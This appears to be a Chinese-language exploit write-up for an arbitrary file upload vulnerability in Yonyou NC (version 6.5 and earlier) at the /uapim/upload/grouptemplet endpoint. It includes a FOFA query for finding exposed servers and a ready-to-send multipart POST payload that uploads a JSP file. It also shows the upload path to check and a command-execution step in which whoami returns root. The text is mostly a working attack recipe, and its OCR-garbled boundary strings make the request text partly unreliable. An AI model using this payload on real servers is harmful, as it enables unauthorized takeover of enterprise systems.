# Y4-32用友-NC-文件上传

## 漏洞描述:

用友 NC grouptemplet 接口处存在任意<u>文件上传漏洞</u>,攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个 web 服务器。

用友网络科技股份有限公司-NCversion<=6.5受影响

#### 网站图片:









连接

与企业应用的链接优化,并支持企业应用在终端上的自验相关的端服务,并对提供的服务进行应用优化。 动手级

体验 UClient 提供全新客户端,消除浏览器依赖,完成用户 UClient 打造—个面向企业的端服务平台,提供改善体 社交

UClient 通过嵌入社交协同能力,建立企业用户之间的 连接,提供企业间数据共享和连接的服务,形成基于1 业服务云平台的企业社交网络。

版权所有© 2015 用友网络科技股份有限公司

## 网络测绘:

fofa语法:

FOFA: app="用友-UFIDA-NC"

## 漏洞复现:

## payload:

POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1

Host: your-ip User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Content-type: multipart/form-data; boundary-------EFIRM7GI3Eflei41j5ae0KM7CH2KM7

------EfikM7GI3Eflei4Ij5aeOkM7cH2KM7
Content-Disposition: form-data; name="upload"; filename="1.jsp"
Content-Type: application/octet-stream

<%out.println("hello,nc");%>
-----Ef1KM7GI3Ef1ei4Ij5ae0KM7cH2KM7--

## 效果图:

```
⟨ 数据包扫描 美化 熱加载 构造请求 ※
Request
                                                                                                                Responses Obytes / 14ms
                                                                                                                 1 HTTP/1.1-200-0K
1 POST·/uapim/upload/grouptemplet?groupid=nc&fileType=jsp·HTTP/1.1
       Host ?:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
                                                                                                                      X-Powered-By: Servlet/3.0
                                                                                                                      state: fail
       96.0.4664.93 Safari/537.36
                                                                                                                       error: Invalid+uri+%27http%3A%2F%2Fnull%3A
      Content-type: multipart/form-data; boundary=-----Ef1KM7GI3Ef1ei4Ij5ae0KM7cH2KM7
                                                                                                                       +invalid+port+number
                                                                                                                      Content-Language: en-US
        -----Ef1KM7GI3Ef1ei4Ij5ae0KM7cH2KM7
                                                                                                                      Date: Wed, 24 Apr 2024 04:46:03 GMT
       Content-Disposition: form-data; name="upload"; filename="1.jsp"
                                                                                                                      Server: WebSphere Application Server/8.5
       Content-Type: application/octet-stream
       <%out.println("hello,nc");%>
-----Ef1KM7GI3Ef1ei4Ii5ae0KM7cH2KM7--
  10
11
验证url
```

/uapim/static/pages/nc/head.jsp

<b>←</b>	$\rightarrow$	G	▲ 不安全 3/uapim/static/pages/nc/head.jsp
hello,nc			
RCE			
<b>←</b>	$\rightarrow$	G	△ 不安全 33/uapim/static/pages/nc/head.jsp?cmd=whoami
root			